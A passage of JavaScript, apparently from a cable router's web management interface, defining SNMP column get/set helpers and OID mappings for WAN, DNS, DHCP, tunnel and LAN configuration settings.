console.log(\"index \" + index + \" out of range for \" + table.name);\n        return this.table.key[index] || \"\";\n    }\n    this.get = function(index, index2) {\n        if (!index || index.asInt() === 0)\n           if (window.console) console.log(\"old style index get \"+name+\" \"+index);\n        if (index2 !== undefined)\n            index += \".\"+index2;\n        var oid = this.oid+\".\"+index;\n\n        if (bulkLoading) {\n            bulkList.push(oid);\n            return;\n        }\n\n        if (walk[oid] === undefined)\n\t{\n            walk[oid] = decodeURIComponent(snmpGet1(oid) || \"\");\n            return walk[oid];\n\t}\n\telse\n\t{\n            //$.each(walk, function(v, k) {\n            //    k=decodeURIComponent(v);\n            //});\t\n            return walk[oid];\n\t}\n        if (arguments.length !== 1)\n            alert(\"expected index for column \" + this.name);\n        if (!this.table.loaded)\n            alert(this.table.name + \" not loaded\");\n        this.table.accessed = true;\n        if (index < 0 || index > this.table.key.length) {\n            if (window.console) console.log(\"index \" + index + \" out of existing range for \" + table.name);\n            oidsRead.push(oid + \".\" + (parseInt(index) + 1));\n            return walk[oid + \".\" + (parseInt(index) + 1)] || \"\";\n        }\n        oidsRead.push(oid + \".\" + this.table.key[index]);\n        return walk[oid + \".\" + this.table.key[index]] || \"\";\n    }\n    this.getOid = function(index) {\n        if (arguments.length !== 1)\n            alert(\"expected index for column \" + this.name);\n        if (!this.table.loaded)\n            alert(this.table.name + \" not loaded\");\n        oidsRead.push(oid + \".\" + index);\n        if (window.console) console.log(this.name+\".\"+index+\" = \"+walk[oid + \".\" + index] || \"\");\n        return walk[oid + \".\" + index] || \"\";\n    }\n\n    this.set = function(index, value, label) {\n        try {\n            snmpSet1(this.oid + \".\"+index, value, this.type);\n        } catch (e) {\n            if (e == \"unauthorized\")\n                refresh();\n            else if (label)\n                throw { oid:this.oid + index, label:label };\n            throw e;\n        }\n        return;\n\n\n        if (v !== undefined)\n            throw \"this.set v WAS set\";\n\n        if (!index || index.asInt() === 0)\n           throw  \"old style index set \"+name+\" \"+index;\n        if (v !== undefined) {\n            index += \".\"+index2;\n        } else {\n            v = index2;\n        }\n\n        if (arguments.length < 2)\n            alert(\"expected index for column \" + this.name);\n\n        stores.push({oid: this.oid + \".\"+index,value:v, type:this.type});\n        return;\n\n        if (!this.table.loaded)\n            alert(this.table.name + \" not loaded\");\n        var oid = this.oid;\n        if (index < 0 || index > this.table.key.length) {\n            if (window.console) console.log(\"index \" + index + \" out of existing range for \" + table.name);\n            oid += \".\" + (parseInt(index) + 1);\n        } else {\n            oid = this.oid + \".\" + this.getKey(index);\n        }\n       // if (!oidValuesEqual(this.get(index), v)) {\n            if (window.console) console.log(\"set \" + name + \".\" + this.getKey(index) + \":\" + v);\n            stores.push({oid:oid,value:v, type:this.type});\n      //  }\n      //  else $.log(name + \" (\" + oid + \") not changed \" + v);\n    };\n    this.asyn_set = function(index, value, label) {\n        try {\n            snmpSet1Async(this.oid + \".\"+index, value, this.type);\n        } catch (e) {\n            if (e == \"unauthorized\")\n                refresh();\n            else if (label)\n                throw { oid:this.oid + index, label:label };\n            throw e;\n        }\n        return;\n\n\n        if (v !== undefined)\n            throw \"this.set v WAS set\";\n\n        if (!index || index.asInt() === 0)\n           throw  \"old style index set \"+name+\" \"+index;\n        if (v !== undefined) {\n            index += \".\"+index2;\n        } else {\n            v = index2;\n        }\n\n        if (arguments.length < 2)\n            alert(\"expected index for column \" + this.name);\n\n        stores.push({oid: this.oid + \".\"+index,value:v, type:this.type});\n        return;\n\n        if (!this.table.loaded)\n            alert(this.table.name + \" not loaded\");\n        var oid = this.oid;\n        if (index < 0 || index > this.table.key.length) {\n            if (window.console) console.log(\"index \" + index + \" out of existing range for \" + table.name);\n            oid += \".\" + (parseInt(index) + 1);\n        } else {\n            oid = this.oid + \".\" + this.getKey(index);\n        }\n       // if (!oidValuesEqual(this.get(index), v)) {\n            if (window.console) console.log(\"set \" + name + \".\" + this.getKey(index) + \":\" + v);\n            stores.push({oid:oid,value:v, type:this.type});\n      //  }\n      //  else $.log(name + \" (\" + oid + \") not changed \" + v);\n    };    \n  //  this.setOid = function(index, v) {\n   //     if (arguments.length !== 2)\n   //         alert(\"expected index for column \" + this.name);\n      //  if (!oidValuesEqual(this.get(index), v)) {\n  //          $.log(\"setOid \" + name + \".\" + index + \":\" + v);\n  //          stores.push({oid:this.oid + \".\" + index,value:v, type:this.type});\n       // }\n       // else $.log(name + \".\" + index + \" not changed \" + v);\n  //  };\n\n    this.defined = function(index) {\n        if (index === undefined || index < 0 || index > this.table.key.length)\n            return false;\n        return walk[oid + \".\" + this.table.key[index]] !== undefined;\n    }\n    this.json = function() {\n        return { name:this.name,type:\"column\",oid:this.oid };\n    }\n}\nvar Mib = new Container(\"Mib\", \"1.3.6.1.4.1.4115.1.20.1\");\n\nvar MibObjects = new Container(\"MibObjects\", \"1.3.6.1.4.1.4115.1.20.1.1\");\nMibObjects.ApplyAllSettings= new Scalar(\"ApplyAllSettings\",\"1.3.6.1.4.1.4115.1.20.1.1.9\",2);\nvar arApplyAllSettings=MibObjects.ApplyAllSettings;\n\nvar WanConfig = new Container(\"WanConfig\", \"1.3.6.1.4.1.4115.1.20.1.1.1\");\nWanConfig.WanConnType= new Scalar(\"WanConnType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.1\",2);\nWanConfig.WanConnHostName= new Scalar(\"WanConnHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.2\",4);\nWanConfig.WanConnDomainName= new Scalar(\"WanConnDomainName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.3\",4);\nWanConfig.WanMTUSize= new Scalar(\"WanMTUSize\",\"1.3.6.1.4.1.4115.1.20.1.1.1.4\",66);\nWanConfig.WanApply= new Scalar(\"WanApply\",\"1.3.6.1.4.1.4115.1.20.1.1.1.5\",2);\nWanConfig.WanStaticFreeIdx= new Scalar(\"WanStaticFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.1.8\",66);\nWanConfig.WanIFMacAddr= new Scalar(\"WanIFMacAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.13\",4, 1);\nWanConfig.WanInterface= new Scalar(\"WanInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.1.14\",2);\nWanConfig.WanConnTypeV6= new Scalar(\"WanConnTypeV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.16\",2);\nWanConfig.WanIPProvMode= new Scalar(\"WanIPProvMode\",\"1.3.6.1.4.1.4115.1.20.1.1.1.17\",2);\nvar arWanConnType=WanConfig.WanConnType;\nvar arWanConnHostName=WanConfig.WanConnHostName;\nvar arWanConnDomainName=WanConfig.WanConnDomainName;\nvar arWanMTUSize=WanConfig.WanMTUSize;\nvar arWanApply=WanConfig.WanApply;\nvar arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx;\nvar arWanIFMacAddr=WanConfig.WanIFMacAddr;\nvar arWanInterface=WanConfig.WanInterface;\nvar arWanConnTypeV6=WanConfig.WanConnTypeV6;\nvar arWanIPProvMode=WanConfig.WanIPProvMode;\n\nvar WanCurrentTable = new Table(\"WanCurrentTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.7\");\nWanCurrentTable.WanCurrentIPIndex = new Column(\"WanCurrentIPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1\",66);\nWanCurrentTable.WanCurrentIPAddrType = new Column(\"WanCurrentIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2\",2);\nWanCurrentTable.WanCurrentIPAddr = new Column(\"WanCurrentIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3\",4, 1);\nWanCurrentTable.WanCurrentPrefix = new Column(\"WanCurrentPrefix\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4\",66);\nWanCurrentTable.WanCurrentGWType = new Column(\"WanCurrentGWType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5\",2);\nWanCurrentTable.WanCurrentGW = new Column(\"WanCurrentGW\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6\",4, 1);\nWanCurrentTable.WanCurrentIPType = new Column(\"WanCurrentIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7\",2);\nWanCurrentTable.WanCurrentNetMask = new Column(\"WanCurrentNetMask\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8\",4, 1);\nWanCurrentTable.WanCurrentPrefixDelegationV6 = new Column(\"WanCurrentPrefixDelegationV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9\",4, 1);\nWanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column(\"WanCurrentPrefixDelegationV6Len\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10\",66);\nWanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column(\"WanCurrentPreferredLifetimeV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11\",2);\nWanCurrentTable.WanCurrentValidLifetimeV6 = new Column(\"WanCurrentValidLifetimeV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12\",2);\nvar arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex;\nvar arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType;\nvar arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr;\nvar arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix;\nvar arWanCurrentGWType=WanCurrentTable.WanCurrentGWType;\nvar arWanCurrentGW=WanCurrentTable.WanCurrentGW;\nvar arWanCurrentIPType=WanCurrentTable.WanCurrentIPType;\nvar arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask;\nvar arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6;\nvar arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len;\nvar arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6;\nvar arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6;\n\nvar WanStaticTable = new Table(\"WanStaticTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.9\");\nWanStaticTable.WanStaticIPIndex = new Column(\"WanStaticIPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1\",66);\nWanStaticTable.WanStaticIPAddrType = new Column(\"WanStaticIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2\",2);\nWanStaticTable.WanStaticIPAddr = new Column(\"WanStaticIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3\",4, 1);\nWanStaticTable.WanStaticPrefix = new Column(\"WanStaticPrefix\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4\",66);\nWanStaticTable.WanStaticGatewayType = new Column(\"WanStaticGatewayType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5\",2);\nWanStaticTable.WanStaticGateway = new Column(\"WanStaticGateway\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6\",4, 1);\nWanStaticTable.WanStaticRowStatus = new Column(\"WanStaticRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7\",2);\nWanStaticTable.WanDelegatedPrefixLength = new Column(\"WanDelegatedPrefixLength\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8\",66);\nWanStaticTable.WanDelegatedPrefix = new Column(\"WanDelegatedPrefix\",\"1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9\",4, 1);\nvar arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex;\nvar arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType;\nvar arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr;\nvar arWanStaticPrefix=WanStaticTable.WanStaticPrefix;\nvar arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType;\nvar arWanStaticGateway=WanStaticTable.WanStaticGateway;\nvar arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus;\nvar arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength;\nvar arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix;\n\nvar WanTunnelObjects = new Container(\"WanTunnelObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.1.10\");\nWanTunnelObjects.WanUserName= new Scalar(\"WanUserName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.1\",4);\nWanTunnelObjects.WanPassword= new Scalar(\"WanPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.2\",4);\nWanTunnelObjects.WanEnableIdleTimeout= new Scalar(\"WanEnableIdleTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.3\",2);\nWanTunnelObjects.WanIdleTimeout= new Scalar(\"WanIdleTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.4\",66);\nWanTunnelObjects.WanTunnelAddrType= new Scalar(\"WanTunnelAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.5\",2);\nWanTunnelObjects.WanTunnelAddr= new Scalar(\"WanTunnelAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.6\",4, 1);\nWanTunnelObjects.WanTunnelHostName= new Scalar(\"WanTunnelHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.7\",4);\nWanTunnelObjects.WanEnableKeepAlive= new Scalar(\"WanEnableKeepAlive\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.8\",2);\nWanTunnelObjects.WanKeepAliveTimeout= new Scalar(\"WanKeepAliveTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.1.10.9\",66);\nvar arWanUserName=WanTunnelObjects.WanUserName;\nvar arWanPassword=WanTunnelObjects.WanPassword;\nvar arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout;\nvar arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout;\nvar arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType;\nvar arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr;\nvar arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName;\nvar arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive;\nvar arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout;\n\nvar WanDNSObjects = new Container(\"WanDNSObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.1.11\");\nWanDNSObjects.WanUseAutoDNS= new Scalar(\"WanUseAutoDNS\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.1\",2);\nWanDNSObjects.WanStaticDNSFreeIdx= new Scalar(\"WanStaticDNSFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.3\",66);\nvar arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS;\nvar arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx;\n\nvar WanCurrentDNSTable = new Table(\"WanCurrentDNSTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.11.2\");\nWanCurrentDNSTable.WanCurrentDNSIPIndex = new Column(\"WanCurrentDNSIPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1\",66);\nWanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column(\"WanCurrentDNSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2\",2);\nWanCurrentDNSTable.WanCurrentDNSIPAddr = new Column(\"WanCurrentDNSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3\",4, 1);\nvar arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex;\nvar arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType;\nvar arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr;\n\nvar WanStaticDNSTable = new Table(\"WanStaticDNSTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.11.4\");\nWanStaticDNSTable.WanStaticDNSIPIndex = new Column(\"WanStaticDNSIPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1\",66);\nWanStaticDNSTable.WanStaticDNSIPAddrType = new Column(\"WanStaticDNSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2\",2);\nWanStaticDNSTable.WanStaticDNSIPAddr = new Column(\"WanStaticDNSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3\",4, 1);\nWanStaticDNSTable.WanStaticDNSRowStatus = new Column(\"WanStaticDNSRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4\",2);\nvar arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex;\nvar arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType;\nvar arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr;\nvar arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus;\n\nvar WanDHCPObjects = new Container(\"WanDHCPObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.1.12\");\nWanDHCPObjects.WanRenewLease= new Scalar(\"WanRenewLease\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.1\",2);\nWanDHCPObjects.WanReleaseLease= new Scalar(\"WanReleaseLease\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.2\",2);\nWanDHCPObjects.WanDHCPDuration= new Scalar(\"WanDHCPDuration\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.3\",66);\nWanDHCPObjects.WanDHCPExpire= new Scalar(\"WanDHCPExpire\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.4\",4, 1);\nWanDHCPObjects.WanRenewLeaseV6= new Scalar(\"WanRenewLeaseV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.5\",2);\nWanDHCPObjects.WanReleaseLeaseV6= new Scalar(\"WanReleaseLeaseV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.6\",2);\nWanDHCPObjects.WanDHCPDurationV6= new Scalar(\"WanDHCPDurationV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.7\",66);\nWanDHCPObjects.WanDHCPExpireV6= new Scalar(\"WanDHCPExpireV6\",\"1.3.6.1.4.1.4115.1.20.1.1.1.12.8\",4, 1);\nvar arWanRenewLease=WanDHCPObjects.WanRenewLease;\nvar arWanReleaseLease=WanDHCPObjects.WanReleaseLease;\nvar arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration;\nvar arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire;\nvar arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6;\nvar arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6;\nvar arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6;\nvar arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6;\n\nvar PrivateWanObjects = new Container(\"PrivateWanObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.1.15\");\nPrivateWanObjects.PrivateWanRenewLease= new Scalar(\"PrivateWanRenewLease\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.1\",2);\nPrivateWanObjects.PrivateWanReleaseLease= new Scalar(\"PrivateWanReleaseLease\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.2\",2);\nPrivateWanObjects.PrivateWanDHCPDuration= new Scalar(\"PrivateWanDHCPDuration\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.3\",66);\nPrivateWanObjects.PrivateWanDHCPExpire= new Scalar(\"PrivateWanDHCPExpire\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.4\",4, 1);\nPrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar(\"PrivateWanCurrentIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.5\",2);\nPrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar(\"PrivateWanCurrentIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.6\",4, 1);\nPrivateWanObjects.PrivateWanCurrentPrefix= new Scalar(\"PrivateWanCurrentPrefix\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.7\",66);\nPrivateWanObjects.PrivateWanCurrentGWType= new Scalar(\"PrivateWanCurrentGWType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.8\",2);\nPrivateWanObjects.PrivateWanCurrentGW= new Scalar(\"PrivateWanCurrentGW\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.9\",4, 1);\nPrivateWanObjects.PrivateWanCurrentNetMask= new Scalar(\"PrivateWanCurrentNetMask\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.10\",4, 1);\nPrivateWanObjects.PrivateWanCurrentDomainName= new Scalar(\"PrivateWanCurrentDomainName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.11\",4);\nPrivateWanObjects.PrivateWanInterfaceName= new Scalar(\"PrivateWanInterfaceName\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.12\",4);\nPrivateWanObjects.PrivateWanMacAddr= new Scalar(\"PrivateWanMacAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.13\",4, 1);\nvar arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease;\nvar arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease;\nvar arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration;\nvar arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire;\nvar arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType;\nvar arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr;\nvar arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix;\nvar arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType;\nvar arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW;\nvar arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask;\nvar arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName;\nvar arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName;\nvar arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr;\n\nvar PrivateWanCurrentDNSTable = new Table(\"PrivateWanCurrentDNSTable\", \"1.3.6.1.4.1.4115.1.20.1.1.1.15.14\");\nPrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column(\"PrivateWanCurrentDNSIPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1\",66);\nPrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column(\"PrivateWanCurrentDNSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2\",2);\nPrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column(\"PrivateWanCurrentDNSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3\",4, 1);\nvar arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex;\nvar arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType;\nvar arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr;\n\nvar DSLiteWanObjects = new Container(\"DSLiteWanObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.1.18\");\nDSLiteWanObjects.DSLiteWanEnable= new Scalar(\"DSLiteWanEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.1.18.1\",2);\nDSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar(\"DSLiteWanLSNATAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.1.18.2\",2);\nDSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar(\"DSLiteWanLSNATAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.1.18.3\",4, 1);\nvar arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable;\nvar arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType;\nvar arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr;\n\n\n\nvar LanConfig = new Container(\"LanConfig\", \"1.3.6.1.4.1.4115.1.20.1.1.2\");\nLanConfig.LanCount= new Scalar(\"LanCount\",\"1.3.6.1.4.1.4115.1.20.1.1.2.1\",66);\nLanConfig.LanSettings= new Scalar(\"LanSettings\",\"1.3.6.1.4.1.4115.1.20.1.1.2.6\",2);\nvar arLanCount=LanConfig.LanCount;\nvar arLanSettings=LanConfig.LanSettings;\n\nvar LanSrvTable = new Table(\"LanSrvTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.2\");\nLanSrvTable.LanName = new Column(\"LanName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1\",4);\nLanSrvTable.LanSubnetMaskType = new Column(\"LanSubnetMaskType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2\",2);\nLanSrvTable.LanSubnetMask = new Column(\"LanSubnetMask\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3\",4, 1);\nLanSrvTable.LanGatewayIpType = new Column(\"LanGatewayIpType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4\",2);\nLanSrvTable.LanGatewayIp = new Column(\"LanGatewayIp\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5\",4, 1);\nLanSrvTable.LanGatewayIp2Type = new Column(\"LanGatewayIp2Type\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6\",2);\nLanSrvTable.LanGatewayIp2 = new Column(\"LanGatewayIp2\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7\",4, 1);\nLanSrvTable.LanVLanID = new Column(\"LanVLanID\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8\",66);\nLanSrvTable.LanUseDHCP = new Column(\"LanUseDHCP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9\",2);\nLanSrvTable.LanStartDHCPType = new Column(\"LanStartDHCPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10\",2);\nLanSrvTable.LanStartDHCP = new Column(\"LanStartDHCP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11\",4, 1);\nLanSrvTable.LanEndDHCPType = new Column(\"LanEndDHCPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12\",2);\nLanSrvTable.LanEndDHCP = new Column(\"LanEndDHCP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13\",4, 1);\nLanSrvTable.LanLeaseTime = new Column(\"LanLeaseTime\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14\",66);\nLanSrvTable.LanDomainName = new Column(\"LanDomainName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15\",4, 1);\nLanSrvTable.LanRateLimit = new Column(\"LanRateLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16\",2);\nLanSrvTable.LanDownRateLimit = new Column(\"LanDownRateLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17\",66);\nLanSrvTable.LanUpRateLimit = new Column(\"LanUpRateLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18\",66);\nLanSrvTable.LanRelayDNS = new Column(\"LanRelayDNS\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19\",2);\nLanSrvTable.LanIPv6Mode = new Column(\"LanIPv6Mode\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20\",2);\nLanSrvTable.LanPassThru = new Column(\"LanPassThru\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21\",2);\nLanSrvTable.LanFirewallOn = new Column(\"LanFirewallOn\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22\",2);\nLanSrvTable.LanUPnPEnable = new Column(\"LanUPnPEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23\",2);\nLanSrvTable.LanCPEAging = new Column(\"LanCPEAging\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24\",2);\nLanSrvTable.LanOverrideDNS = new Column(\"LanOverrideDNS\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25\",2);\nLanSrvTable.LanNatAlgsEnabled = new Column(\"LanNatAlgsEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26\",4, 1);\nLanSrvTable.LanMappedInterface = new Column(\"LanMappedInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27\",66);\nLanSrvTable.LanEnvironmentControl = new Column(\"LanEnvironmentControl\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28\",2);\nLanSrvTable.LanPrefixLengthV6 = new Column(\"LanPrefixLengthV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29\",66);\nLanSrvTable.LanUseDHCPV6 = new Column(\"LanUseDHCPV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30\",2);\nLanSrvTable.LanStartDHCPV6 = new Column(\"LanStartDHCPV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31\",4, 1);\nLanSrvTable.LanEndDHCPV6 = new Column(\"LanEndDHCPV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32\",4, 1);\nLanSrvTable.LanLeaseTimeV6 = new Column(\"LanLeaseTimeV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33\",66);\nLanSrvTable.LanLinkLocalAddressV6 = new 